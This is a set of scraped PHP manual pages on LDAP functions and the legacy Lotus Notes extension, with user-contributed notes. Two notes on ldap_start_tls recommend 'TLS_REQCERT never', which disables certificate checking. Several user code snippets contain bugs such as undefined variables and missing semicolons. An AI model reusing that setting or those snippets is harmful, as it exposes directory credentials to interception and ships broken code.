LDAP_OPT_DEREF | integer
LDAP_OPT_SIZELIMIT | integer
LDAP_OPT_TIMELIMIT | integer
LDAP_OPT_NETWORK_TIMEOUT | integer | PHP 5.3.0
LDAP_OPT_PROTOCOL_VERSION | integer
LDAP_OPT_ERROR_NUMBER | integer
LDAP_OPT_REFERRALS | bool
LDAP_OPT_RESTART | bool
LDAP_OPT_HOST_NAME | string
LDAP_OPT_ERROR_STRING | string
LDAP_OPT_MATCHED_DN | string
LDAP_OPT_SERVER_CONTROLS | array
LDAP_OPT_CLIENT_CONTROLS | array

LDAP_OPT_SERVER_CONTROLS and LDAP_OPT_CLIENT_CONTROLS require a list of controls, this means that the value must be an array of controls. A control consists of an oid identifying the control, an optional value, and an optional flag for criticality. In PHP a control is given by an array containing an element with the key oid and string value, and two optional elements. The optional elements are key value with string value and key iscritical with boolean value. iscritical defaults to FALSE if not supplied. See » draft-ietf-ldapext-ldap-c-api-xx.txt for details. See also the second example below.

newval

The new value for the specified option.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Set protocol version

<?php
// $ds is a valid link identifier for a directory server
if (ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3)) {
    echo "Using LDAPv3";
} else {
    echo "Failed to set protocol version to 3";
}
?>

Example #2 Set server controls

<?php
// $ds is a valid link identifier for a directory server
// control with no value
$ctrl1 = array("oid" => "1.2.752.58.10.1", "iscritical" => true);
// iscritical defaults to FALSE
$ctrl2 = array("oid" => "1.2.752.58.1.10", "value" => "magic");
// try to set both controls
if (!ldap_set_option($ds, LDAP_OPT_SERVER_CONTROLS, array($ctrl1, $ctrl2))) {
    echo "Failed to set server controls";
}
?>

Notes

Note:

This function is only available when using OpenLDAP 2.x.x OR Netscape Directory SDK x.x.

See Also

  • ldap_get_option() - Get the current value for given option

User Contributed Notes

Anonymous 19-Nov-2010 01:56
LDAP options description

http://publib.boulder.ibm.com/infocenter/iseries/v5r3/index.jsp?topic=%2Fapis%2Fldap_set_option.htm
technosophos 07-Mar-2007 02:00
The following flags are valid integer values for the LDAP_OPT_DEREF (as taken from the documentation for ldap_read()):

LDAP_DEREF_NEVER (int 0) - (default) aliases are never dereferenced.

LDAP_DEREF_SEARCHING (int 1) - aliases should be dereferenced during the search but not when locating the base object of the search.

LDAP_DEREF_FINDING (int 2) - aliases should be dereferenced when locating the base object but not during the search.

LDAP_DEREF_ALWAYS (int 3) - aliases should be dereferenced always.

Example:
<?php
ldap_set_option($ds, LDAP_OPT_DEREF, LDAP_DEREF_ALWAYS);
?>

These are defined in the draft C API (presumably from the original LDAP API). See draft-ietf-ldapext-ldap-c-api-xx.txt included in the OpenLDAP source code distribution.
hansfn at gmail dot com 23-May-2006 04:23
Luckily you can turn on debugging before you open a connection:

  ldap_set_option(NULL, LDAP_OPT_DEBUG_LEVEL, 7);

This way you at least can see in the logs if the connection fails...
minusf at gmail dot com 31-Oct-2005 01:59
it seems that ldap_set_option returns 1 for bogus ldap_connect -ions also.
ldap_connect always returns a resource (documented in the
comments of ldap_connect) so it is not possible to check if the
ldap server is there or alive or what.  and because ldap_set_option
must be between ldap_connect and ldap_bind, there seems to
be no sense in checking the return value.

it is a bit strange that ldap_bind is the first function which can
really check if a ldap resource is usable because it is the third
function in line to use when working with openldap.

<?php
$connect = ldap_connect("whatever");
$set = ldap_set_option($connect, LDAP_OPT_PROTOCOL_VERSION, 3);
echo $set;
?>
soulbros at yahoo dot com 26-Feb-2002 03:56
As john.hallam@compaq.com above mentioned ,one  has to set option LDAP_OPT_PROTOCOL_VERSION=3
ldap_set_option($ds,LDAP_OPT_PROTOCOL_VERSION,3);
to use the ldap_rename function.

However, the ldap_set_option() line has to be written immediately after ldap_connect() and before ldap_bind() statements.

Christos Soulios
john dot hallam at compaq dot com 28-Jan-2002 10:00
To get this to work I had to set the LDAP version to 3 using ldap_set_option. Here is an example that might help:

$TheDN = "cn=john smith,ou=users,dc=acme,dc=com";
$newRDN = "cn=bill brown";
$newParent = "ou=users,dc=acme,dc=com";
ldap_set_option($ds,LDAP_OPT_PROTOCOL_VERSION,3);
@$result = ldap_rename($ds, $TheDN, $newRDN, $newParent, TRUE);
ldap_search
ldap_set_rebind_proc
LDAP Functions


Set a callback function to do re-binds on referral chasing

ldap_set_option
ldap_sort
LDAP Functions
PHP Manual

ldap_set_rebind_proc

(PHP 4 >= 4.2.0, PHP 5)

ldap_set_rebind_proc — Set a callback function to do re-binds on referral chasing

Description

bool ldap_set_rebind_proc ( resource $link , callback $callback )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

leon at leonux dot co dot za 25-Jun-2011 03:26
I finally have referrals working using the ldap_set_rebind_proc function. Don't connect to the referral server in your callback function. This is done for you. You only have to bind. The callback must return 0 if the bind succeeds or 1 if it fails.

Consider a master - slave LDAP setup where the slave is read-only and refers writes to the master. For the PHP on the slave, you need something like this:

<?php

// Callback function
function rebind($ldap, $referral) {
    // ldap options
    ldap_set_option($ldap, LDAP_OPT_PROTOCOL_VERSION, 3);
    ldap_set_option($ldap, LDAP_OPT_REFERRALS, True);
    ldap_set_rebind_proc($ldap, 'rebind');
    // The referral is of the form:
    //  ldaps://newhost/cn=user,ou=people,dc=example,dc=com
    $refparts = explode('/', $referral);
    if (count($refparts) > 2) {
        // Get the bind dn from referral
        $dn = $refparts[3];
        // Bind to new host
        if (!ldap_bind($ldap, $dn, $pass)) {
            echo 'Could not bind to referral server';
            return 1;
        }
    } else {
        // Try anonymous bind
        if (!ldap_bind($ldap)) {
            echo 'Could not bind to referral server anonymously';
            return 1;
        }
    }
    return 0;
}

// Initial ldap connection to slave server
$ldap_host = 'localhost'
$ds = ldap_connect($ldap_host);
// ldap options
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3)
ldap_set_option($ds, LDAP_OPT_REFERRALS, True)
// Set callback function
ldap_set_rebind_proc($ds, 'rebind'))
// bind
ldap_bind($ds, $dn, $pass)
// ldap write
ldap_modify($ds, $dn, $attr);

?>

Accessing passwords and other data from your callback is easier if you use a class method as the callback function. The callback would be initialized like this:

<?php

ldap_set_rebind_proc($ldap, 'MyClass::rebind');

?>
Anonymous 26-Feb-2011 11:40
I have now spent enough time looking at this issue to say that ldap referrals, at least when trying to add, modify or delete a record on a slave server that correctly gives a referral to a master server, does not work in php. My suggestion is turn turn off ldap referrals and write your own add, modify and delete functions with built in referral handling. Something like this:

<?php
function ldap_referral_add($connection,$add_dn,$Add_entry,$bind_dn,$bind_pw)
    {
    $rconnection = $connection;
    $loop = 10; # max number of referral hops.
    # Turn off normal referrals
    ldap_get_option($connection,LDAP_OPT_REFERRALS,$old_referral_setting)
    do
        {
        $response = ldap_add($rconnection,$dn,$entry);
        # We get a success message:
        if ( $response )
            {
            ldap_unbind($rconnection);
            $loop = 0;    # Probably not needed
            ldap_set_option($connection,LDAP_OPT_REFERRALS,$old_referral_setting);
            return true;
            }
        # We get a referral message:
        elseif ( !$response && ldap_errno($rconnection) == 0x0a )
            {
            $new_server_url = $server= preg_replace('!^(ldap://[^/]+)/.*$!', '\\1', $ldap_error($rconnection)); # May need some sanity checking here
            $rconnection = ldap_connect($new_server_url);
            ldap_set_option($rconnection,LDAP_OPT_REFERRALS,0)
            ldap_set_option($rconnection,LDAP_OPT_PROTOCOL_VERSION, 3)
            ldap_bind($rconnection,$bind_dn,$bind_pw);
            $loop = $loop - 1;
            }
        else
            {
            ldap_unbind($rconnection);
            $loop = 0;    # Probably not needed
            ldap_set_option($connection,LDAP_OPT_REFERRALS,$old_referral_setting);
            return false;
            }
        } while ( $loop > 0);
    }
?>
mvanbeek at forgetaboutit dot net 15-Jun-2010 11:13
I have had quite a hard time finding good information about chasing referrals so I am adding my tuppence worth here. I still haven't got my test code working fully so please look further down the page for updates.

The way this appears to have to work is that you use this function to set a callback function of your own to connect and bind to the referral server. you need to set this along with forcing v3 ldap and setting the referral chasing to on as part of setting up the initial connection, so just after the connect but before the bind, you need something like:

<?php
        $ds = ldap_connect($server);
        ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
        ldap_set_option($ds, LDAP_OPT_REFERRALS, 1);
        ldap_set_rebind_proc($ds, "rebind");
        ldap_bind($ds,$dn,$pass);
?>

This callback function (called rebind in the above example needs two arguments. These arguments are preset and are supplied when the callback function is called. The first is the ldap link identifier. I assume this is supplied as the function could be used successively by a number of consecutive referrals. The second is the ldap referral URL supplied by the initial server. I have seen notes that say this function must be defined prior to being set by ldap_set_rebind_proc, but as yet I cannot confirm this.

My setup is based on a master - slave ldap server configuration, with the PHP application residing on the slave where it does localhost lookups. When your try to write to the slave ldap server, the server returns a referral URL, and the internal PHP function then calls the callback function.

Despite the code already on this page, which appears to also be used to test the PHP code, I believe it is wrong. I think it simply reconnects to the initial server. I believe that what the callback function should do is to connect to the new server, and bind to it. My test code currently looks like this:

<?php
function rebind($ldap, $referral) {
        global $dn;
        global $pass;
        $server= preg_replace('!^(ldap://[^/]+)/.*$!', '\\1', $referral);
        if (!($ldap = ldap_connect($server))){
                echo "reconnect failed - <br>";
                return 1;
        }
        ldap_set_option($ldap, LDAP_OPT_PROTOCOL_VERSION, 3);
        ldap_set_option($ldap, LDAP_OPT_REFERRALS, 1);
        ldap_set_rebind_proc($ldap, "rebind");
        if (!ldap_bind($ldap,$dn,$pass)){
                echo "rebind failed - <br>";
                return 1;
        }
        return 0;
}
?>

As far as I can tell, a return value of 0 means success and any other value means it has failed. The complete lack of documentation doesn't help.

The above code works all the way to authenticating against the new server, but at the moment I appear to be getting an unbind request before it tries to write the record to the new server, so it fails.

I would also recommend adding a ldap_start_tls before the bind as well.
pearcec at commnav dot com 01-May-2003 04:09
PHP expects the ldap function ldap_set_rebind_proc to be the one that has tree parameters.  As far as I can tell this isn't in the 2.0 release of OpenLDAP.  But made it into 2.1.  Configure will tell you

checking for 3 arg ldap_set_rebind_proc... no
night0wl at frost dot ath dot cx 02-Apr-2003 07:19
Couse there was no example code for this function, i had alot of troubles to make it work properly.

So, here is working example:

function rebind_on_ref ($ds, $ldap_url) {
  global $binddn;    // DN used to bind
  global $bindpw;    // password used to bind

  // required by most modern LDAP servers, use LDAPv3
  ldap_set_option($a, LDAP_OPT_PROTOCOL_VERSION, 3);

  if (!ldap_bind($a,$binddn,$bindpw)) {
        print "Cannot bind";
  }
}
randy at kotmail dot com 25-Apr-2002 04:46
If rebind_proc isn't compiled in slapd, your will never get that funtction working. Check out the new alpha release of slapd and rtfm.
ldap_set_option
ldap_sort
LDAP Functions


Sort LDAP result entries

ldap_set_rebind_proc
ldap_start_tls
LDAP Functions
PHP Manual

ldap_sort

(PHP 4 >= 4.2.0, PHP 5)

ldap_sort — Sort LDAP result entries

Description

bool ldap_sort ( resource $link , resource $result , string $sortfilter )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

thorben at kapp-hamburg dot de 07-Jan-2011 04:46
I wondered how to sort after a dn, for just show a tree view. I tried to set $sortfilter = 'dn', but that didn't work. Than I tried with a blank string ''. That worked, the entries are sorted by dn.
renandelima at gmail dot com 25-Aug-2008 09:40
I was very unhappy because doesn't exists a way to order ldap search results. Above a solution to order a search in ascending and descending order. This function also do pagination.

// descending order
$list = ldap_sort_paginate( $conn, $search, "cn", "desc" );

// ascending order with pagination
$list = ldap_sort_paginate( $conn, $search, "cn", "asc", 3, 15 );

Use http://php.net/ldap_count_entries to calculate the min and max pages values before call this function. The first page value is 0 (zero).

<?php

/**
 * Order a search in ascending and descending order.
 *
 * @param resource from ldap_connect()
 * @param resource from ldap_search()
 * @param string of attribute to order
 * @param string "asc" or "desc"
 * @param integer page number, first is 0 zero
 * @param integer entries per page
 * @return string[]
 */
function ldap_sort_paginate( $rConnection, $rSearch, $sField, $sOrder = "asc", $iPage = null, $iPerPage = null )
{
    $iTotalEntries = ldap_count_entries( $rConnection, $rSearch );
    if ( $iPage === null || $iPerPage === null )
    {
        # fetch all in one page
        $iStart = 0;
        $iEnd = $iTotalEntries - 1;
    }
    else
    {
        # calculate range of page
        $iStart = ( ceil( $iTotalEntries / $iPerPage ) - 1 ) * $iPage;
        $iEnd = $iStart + $iPerPage - 1;
        if ( $sOrder === "desc" )
        {
            # revert range
            $iStart = $iTotalEntries - 1 - $iEnd;
            $iEnd = $iStart + $iPerPage - 1;
        }
    }
    var_dump( $iStart . " " . $iEnd );
    # fetch entries
    ldap_sort( $rConnection, $rSearch, $sField );
    $aList = array();
    for (
        $iCurrent = 0, $rEntry = ldap_first_entry( $rConnection, $rSearch );
        $iCurrent <= $iEnd && is_resource( $rEntry );
        $iCurrent++, $rEntry = ldap_next_entry( $rConnection, $rEntry )
    )
    {
        if ( $iCurrent >= $iStart )
        {
            array_push( $aList, ldap_get_attributes( $rConnection, $rEntry ) );
        }
    }
    # if order is desc revert page's entries
    return $sOrder === "desc" ? array_reverse( $aList ) : $aList;
}
ccblanket at yahoo dot com 05-Mar-2005 09:30
It is interesting people are using all these methods to sort multi-attribute results from LDAP searches. Well, here is a simpler one. Just use ldap_sort once for each sort attribute in the reverse order of importance.

--hikmet

<?php
    $ldapFilterAttributes = array ('givenname', 'sn', 'mail');
    $ldapSortAttributes = array('sn', 'givenname'); // ie. sort by givenname, then by sn

    $ldapFilter = "(&(sn='')(givenname=''))";

    $ldapBaseDN = 'ou=users, dc=example, dc=com';

    $search = @ldap_search($ldapConnect, $ldapBaseDN, $ldapFilter, $ldapFilterAttributes) ;
    if (!($search)) {
        die("Unable to search LDAP server");
    }

    // lets sort the results by firstname if firstname is in the results
    foreach ($ldapSortAttributes as $eachSortAttribute) {
        if (in_array($eachSortAttribute, $ldapFilterAttributes)) { // making sure we don't accidentally try to sort against an inexisting field
            ldap_sort($this->connect, $search, $eachSortAttribute);
        }
    }

    // and here is the result
    $results = ldap_get_entries($this->connect, $search);
?>

[EDIT BY danbrown AT php DOT net: Bugfix by (huntz AT huntz DOT org) on 17-MAY-2005: Nice tip, but on line 2 of your example we need to use $ldapSortAttributes and not $ldapSortAttribues :-)]
ben at xsusio dot com 03-Sep-2004 02:33
If you are wanting to sort by multiple attributes, for instance ordering by last name and then first name,  try this function. This is similar to "ORDER BY lastname, firstname"  in SQL.

This function uses an insertion sort algorithm, which is somewhat faster then the old-fashoned bubble sort.  The second argument is an array containing the attributes you want to sort by. (this functon won't do descending or ascending..  feel free to add it!)

<?php
/**
 * @param array $entries
 * @param array $attribs
 * @desc Sort LDAP result entries by multiple attributes.
*/
function ldap_multi_sort(&$entries, $attribs){
    for ($i=1; $i<$entries['count']; $i++){
        $index = $entries[$i];
        $j=$i;
        do {
            //create comparison variables from attributes:
            $a = $b = null;
            foreach($attribs as $attrib){
                $a .= $entries[$j-1][$attrib][0];
                $b .= $index[$attrib][0];
            }
            // do the comparison
            if ($a > $b){
                $is_greater = true;
                $entries[$j] = $entries[$j-1];
                $j = $j-1;
            }else{
                $is_greater = false;
            }
        } while ($j>0 && $is_greater);

        $entries[$j] = $index;
    }
    return $entries;
}
?>
zbaizman at yahoo dot com 06-Aug-2004 06:15
This note may be self-evident, but the functionality of ldap_sort threw off this sometime user of relational databases.

The following code will NOT do what you expect:

<?php

// omitted calls to connect and and bind to LDAP server...

// attributes we want to retrieve from LDAP server
$ldap_attributes = array ( 'cn', 'o', 'mail' ) ;

// retrieve attributes from matching entries
$search_results = ldap_search ( $ldap_conn, 'dc=example,dc=org', '(objectclass=*)', 0, 500, 30 ) ;

// sort entries by last name ('sn')
ldap_sort ( $ldap_conn, $search_results, 'sn' ) ;

?>

The entries will NOT be sorted by last name. Why not? Because LDAP doesn't function like a RDBMS; you cannot sort a result set on an arbitrary field, regardless of whether you "selected" it. You must always include the attribute by which you want to sort your entries among the requested attributes (add 'sn' to $ldap_attributes, in this case).

Hope this is helpful to some other folks who scratched their heads when they tried to sort entries and it didn't work out...
askgopal at sify dot com 04-Sep-2003 08:07
Here's a simple LDAP sort function I wrote:

<?php
function sort_ldap_entries($e, $fld, $order)
{
    for ($i = 0; $i < $e['count']; $i++) {
        for ($j = $i; $j < $e['count']; $j++) {
            $d = strcasecmp($e[$i][$fld][0], $e[$j][$fld][0]);
            switch ($order) {
            case 'A':
                if ($d > 0)
                    swap($e, $i, $j);
                break;
            case 'D':
                if ($d < 0)
                    swap($e, $i, $j);
                break;
            }
        }
    }
    return ($e);
}

function swap(&$ary, $i, $j)
{
    $temp = $ary[$i];
    $ary[$i] = $ary[$j];
    $ary[$j] = $temp;
}
?>

so that it can be invoked like:

<?php
    $entries = sort_ldap_entries($entries, 'mail', 'A'); // sort entries by ascending order of mail
?>

where,
    `$entries' is the array returned by ldap_get_entries() function.

This might be useful to those who still run older versions of PHP (<= 4.2.0) on their web servers :-)
jason dot sokolowski at rotork dot com 06-Sep-2002 01:51
Something real simple i wrote to sort directory searches by a persons last name.

<?php
for($i=0;$i<$result["count"];$i++)
{

$lastname = $result[$i]["sn"][0];

$lnames["$i"]=$lastname;

}//for i

@asort($lnames);
?>
matthew dot j dot gray at uwrf dot edu 25-Jun-2002 02:47
This function applies strcmp() to each attribute (given by sortfilter) in order to sort the entries returned by the server.  To order search results ascending by last name, try passing "sn" as the sortfilter argument.  This function does not play nice with multi-valued attributes.
ldap_set_rebind_proc
ldap_start_tls
LDAP Functions


Start TLS

ldap_sort
ldap_t61_to_8859
LDAP Functions
PHP Manual

ldap_start_tls

(PHP 4 >= 4.2.0, PHP 5)

ldap_start_tls — Start TLS

Description

bool ldap_start_tls ( resource $link )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

schmunk at usrbin dot de 26-Sep-2011 03:37
PHP Warning:  ldap_start_tls(): Unable to start TLS: Operations error in /path/to/script.php

Do not use ldap_start_tls() if you've already connected to the LDAP Server via SSL e.g. "ldaps://hostame".
T. Le Meur 19-Oct-2010 06:11
Note that, on Windows, due to a bug in the php_ldap extension for php 5.3.2, the location of the ldap.conf may change.

In this case, PHP expects the ldap.conf file to be in the root filesystem where the Webserver Document root is installed (for instance C:\ldap.conf).

This seems to be fixed in PHP 5.3.3RC1

See the following bug reference:
http://bugs.php.net/bug.php?id=48866
victoriano at uma dot es 14-Jun-2010 12:00
ldaps:// (on port 636) is NOT the same as using STARTTLS on port 389.

The second method upgrades the security of a plain connection to an encrypted channel, which is strongly recommended for plain binding (DN/password).
josselin dot dulac at enscm dot fr 29-Jan-2010 07:19
Note : if you are using OpenLdap client > v2 and PHP > 4.0.4, you don't have to use that function. You just have to specify it using
<?php
ldap_connect("ldaps://yourhostname", 636);
?>

If you use both ldaps:// uri and ldap_start_tls function, you'll get a warning saying that a TLS/SSL session is already open.
jcarlos at dsi dot uclm dot es 01-Dec-2009 05:10
Tested in Linux, ubuntu 9.10, PHP/5.2.10-2 and Apache/2.2.1.2

INTEGRATING ACTIVE DIRECTORY WITH PHP-LDAP AND TLS IN LINUX
=============================================================

I'm not an expert, but it works.

1)I have installed ubuntu 9.10 desktop

2)Packages:
 apt-get install apache2
 apt-get install libapache2-mod-php5
 apt-get install libldap-2.4-2
 apt-get install ldap-utils
 apt-get install libsasl2-modules-ldap
 apt-get install openssl
 apt-get install libsasl2-2
 apt-get install libkrb5-3
 apt-get install php5-ldap
 apt-get install php5-sasl
 apt-get install php5-auth-pam

3)Put the PEM certificate.
 cd /etc/ldap
 mkdir certs
 copy /myhome/mycert.pem /etc/ldap/certs/mycert.pem
 NOTE:webcert.crt rename to mycert.pem. It's the same

4)Edit the file /etc/ldap/ldap.conf and Add:
  TLS_REQCERT never
  TLS_CACERT /etc/ldap/certs/mycert.pem

5)Create file /var/www/ldaptlstest.php:

<?php

   $ldap="ldap.myDomain.com";
   $usr="user@myDomain.com";
   $pwd="mypassword";

   $ds=ldap_connect($ldap);
   $ldapbind=false;
   if(ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3))
      if(ldap_set_option($ds, LDAP_OPT_REFERRALS, 0))
         if(ldap_start_tls($ds))
               $ldapbind = @ldap_bind($ds, $usr, $pwd);
   ldap_close($ds);

   if(!$ldapbind)
      echo "ERROR";
   else
      echo "OK";
?>

6)Restart the server: /etc/init.d/apache2 restart

7)Open Firefox and write: http://localhost/ldaptlstest.php
;)
jcarlos at dsi dot uclm dot es 26-Nov-2009 03:04
INTEGRATING ACTIVE DIRECTORY WITH PHP-LDAP AND TLS
==================================================

My configuration:
Apache/2.2.14 (Win32) mod_ssl/2.2.14 OpenSSL/0.9.8k PHP/5.2.11

NOTE 1: At the momment, the versión 5.3.1 fail with tls
NOTE 2: This example works on windows, but in linux is similar

1) Download the Certificate X.509 (PEM format) from a web browser, I used Firefox. I put the name webcert.crt
2) Create the folder c:\openldap\sysconf
3) Copy the file webcert.crt to c:\openldap\sysconf
4) With notepad you must create the file c:\openldap\sysconf\ldap.conf file. The file contents:
TLS_REQCERT never
TLS_CACERT c:\openldap\sysconf\webcert.crt
5) The code:

<?php
   $ldap="ldap.myDomain.com";
   $usr="user@myDomain.com";
   $pwd="mypassword";

   $ds=ldap_connect($ldap);
   $ldapbind=false;
   if(ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3))
      if(ldap_set_option($ds, LDAP_OPT_REFERRALS, 0))
         if(ldap_start_tls($ds))
               $ldapbind = @ldap_bind($ds, $usr, $pwd);
   ldap_close($ds);
   if(!$ldapbind)
       echo "ERROR";
   else
       echo "OK";
?>
pataisjsu at Yahoo.com 15-Nov-2007 02:55
I seemingly take forever to make use of ldap_start_tls work.
Especially lacking in document, I was frustrate and almost gave up until I saw this link in the php forum.
I thought it is worth for put the link in here.

http://marc.info/?l=php-windows&m=116127873321748&w=2

it is really work, and it saves me.
technosophos 06-Mar-2007 12:53
If your version was linked against the OpenLDAP libraries, you may want to look at the ldap.conf file for more information about specifying SSL/TLS behavior. Apparently, the settings in ldap.conf make a different in the way SSL/TLS is handled by PHP.
on at cs dot ait dot ac dot th 07-Aug-2006 12:00
More on TLS start.

It seems that either you ldap_connect to ldaps://, port 636 or you ldap_tls_start.

In my case, using ldaps on port 636 (to be sure I enforce TLS) the connection will go like:

$LDAP_SERVER="ldaps://ldap.../";
$LDAP_PORT=636;

$ds = ldap_connect($LDAP_SERVER,$LDAP_PORT);
if ($ds) {
   if (!ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3)) {
     fatal_error("Failed to set LDAP Protocol version to 3, TLS not supported.");
   }
/*** NO NEED ***
*   if (!ldap_start_tls($ds)) {
*      exit;
*   }
***/
   // now we need to bind anonymously to the ldap server
   $bth = ldap_bind($ds);
   //make your query
bill at strosberg dot com 13-Apr-2005 10:42
Please note there is a difference between ldaps and start-TLS for ldap.  start-TLS uses port 389, while ldaps uses port 636.  ldaps has been deprecated in favour of start-TLS for ldap.  Both encrypted (start-TLS ldap)  and unencrypted ldap (ldap) run on port 389 concurrently.

Errors encountered are generally due to misunderstanding how to implement TLS-encrypted ldap.
claar at no dot spam dot ksu dot edu 28-Jun-2004 03:10
Note that (in my very limited experience) you cannot use the ldaps protocol with tls, or ldap_start_tls() will report "ldap_start_tls(): Unable to start TLS: Operations error", and ldap_error() will return error code 1.

I found that I had to call ldap_connect() with ldap:// rather than ldaps:// for ldap_start_tls() to succeed.  Hope this helps someone!
wirges-at-cerias.purdue.edu 22-Jul-2002 08:19
It should be mentioned, that TLS connections for LDAP *REQUIRE* you to use LDAP Protocol version 3.  By default, PHP uses Protocol 2.
Therefore, if you do not know this, you may be puzzled as to why you get "TLS not supported" error.

To get around this, just use ldap_set_option to make the LDAP connection use Protocol 3 (if supported).

For example:

$ds = ldap_connect($LDAP_SERVER,$LDAP_PORT);
if ($ds) {
   if (!ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3)) {
      fatal_error("Failed to set LDAP Protocol version to 3, TLS not supported.");
    }
    if (!ldap_start_tls($ds)) {
       fatal_error("Ldap_start_tls failed");
    }
    // now we need to bind anonymously to the ldap server
    $bth = ldap_bind($ds);
    //make your query
}
ldap_sort
ldap_t61_to_8859
LDAP Functions


Translate t61 characters to 8859 characters

ldap_start_tls
ldap_unbind
LDAP Functions
PHP Manual

ldap_t61_to_8859

(PHP 4 >= 4.0.2, PHP 5)

ldap_t61_to_8859 — Translate t61 characters to 8859 characters

Description

string ldap_t61_to_8859 ( string $value )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

14-Apr-2004 07:47
Indeed, utf is the way to go as soon as you use non-english text, if you required portability. Don't forget to utf5_encode either.
The t61_8859 functions seem to be deprecated.
ldap_start_tls
ldap_unbind
LDAP Functions


Unbind from LDAP directory

ldap_t61_to_8859
Lotus Notes
LDAP Functions
PHP Manual

ldap_unbind

(PHP 4, PHP 5)

ldap_unbind — Unbind from LDAP directory

Description

bool ldap_unbind ( resource $link_identifier )

Unbinds from the LDAP directory.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ldap_bind() - Bind to LDAP directory

User Contributed Notes

kmenard at wpi dot edu 29-Nov-2001 11:47
ldap_unbind kills the link descriptor.  So, if you want to rebind as another user, just bind again; don't unbind.  Otherwise, you'll have to open up a new connection.
ldap_t61_to_8859
Lotus Notes
LDAP Functions


Lotus Notes

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Lotus Notes Functions
    • notes_body — Open the message msg_number in the specified mailbox on the specified server (leave serv
    • notes_copy_db — Copy a Lotus Notes database
    • notes_create_db — Create a Lotus Notes database
    • notes_create_note — Create a note using form form_name
    • notes_drop_db — Drop a Lotus Notes database
    • notes_find_note — Returns a note id found in database_name
    • notes_header_info — Open the message msg_number in the specified mailbox on the specified server (leave serv
    • notes_list_msgs — Returns the notes from a selected database_name
    • notes_mark_read — Mark a note_id as read for the User user_name
    • notes_mark_unread — Mark a note_id as unread for the User user_name
    • notes_nav_create — Create a navigator name, in database_name
    • notes_search — Find notes that match keywords in database_name
    • notes_unread — Returns the unread note id's for the current User user_name
    • notes_version — Get the version Lotus Notes

User Contributed Notes

There are no user contributed notes for this page.
ldap_unbind
Introduction
Other Services


Introduction

Warning

This extension is EXPERIMENTAL. The behaviour of this extension including the names of its functions and any other documentation surrounding this extension may change without notice in a future release of PHP. This extension should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
Lotus Notes
Installing/Configuring
Lotus Notes


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Lotus Notes


Installation

This extension is considered unmaintained and dead. However, the source code for this extension is still available within PECL SVN here: » http://svn.php.net/viewvc/pecl/notes.

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.0.0

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Lotus Notes Functions
Lotus Notes


Lotus Notes Functions

Table of Contents

  • notes_body — Open the message msg_number in the specified mailbox on the specified server (leave serv
  • notes_copy_db — Copy a Lotus Notes database
  • notes_create_db — Create a Lotus Notes database
  • notes_create_note — Create a note using form form_name
  • notes_drop_db — Drop a Lotus Notes database
  • notes_find_note — Returns a note id found in database_name
  • notes_header_info — Open the message msg_number in the specified mailbox on the specified server (leave serv
  • notes_list_msgs — Returns the notes from a selected database_name
  • notes_mark_read — Mark a note_id as read for the User user_name
  • notes_mark_unread — Mark a note_id as unread for the User user_name
  • notes_nav_create — Create a navigator name, in database_name
  • notes_search — Find notes that match keywords in database_name
  • notes_unread — Returns the unread note id's for the current User user_name
  • notes_version — Get the version Lotus Notes

User Contributed Notes

c97 at c97 dot pl 15-Dec-2006 03:39
If you need quickly grab some data from Lotus Notes database then create in notes View with data you want to export and open this view via url:
http://server/view.nsf?ReadViewEntries
this will give you a nicely formated XML :)
Hope this helps!
Timothy Massey - http://www.obscorp.com 08-Nov-2006 09:21
Given the fact that this extension uses Notes' C API interface, you're stuck with Windows.  If you're going to go that route, you can use Notes' COM interface just as easily.  You won't have to use this extension, and you'll get a much richer functionality.

However, if you would rather stay cross-platform, a fully supported technique is to use XML.  You access Domino via file_get_contents or fopen (or similar method), and Domino returns XML, which you then parse within PHP.  It is cross-platform, requires no extensions, and is the recommended solution.

Introduction to these techniques (including using the above extension) is covered here.  Restore this back into a single line (broken because of wordwrap):  http://www-128.ibm.com/developerworks/lotus/
library/domino-php/index.html
carsten dot motzek at atotech dot com 11-Sep-2006 03:34
This is an unmaintained Windows-only extension.
You will need Visual C++ 6.0 to build it; use the CVS Web link below to obtain the source.
Predefined Constants
notes_body
Lotus Notes


Open the message msg_number in the specified mailbox on the specified server (leave serv

Lotus Notes Functions
notes_copy_db
Lotus Notes Functions
PHP Manual

notes_body

(PHP 4 >= 4.0.5)

notes_body — Open the message msg_number in the specified mailbox on the specified server (leave serv

Description

array notes_body ( string $server , string $mailbox , int $msg_number )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
Lotus Notes Functions
notes_copy_db
Lotus Notes Functions


Copy a Lotus Notes database

notes_body
notes_create_db
Lotus Notes Functions
PHP Manual

notes_copy_db

(PHP 4 >= 4.0.5)

notes_copy_db — Copy a Lotus Notes database

Description

bool notes_copy_db ( string $from_database_name , string $to_database_name )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
notes_body
notes_create_db
Lotus Notes Functions


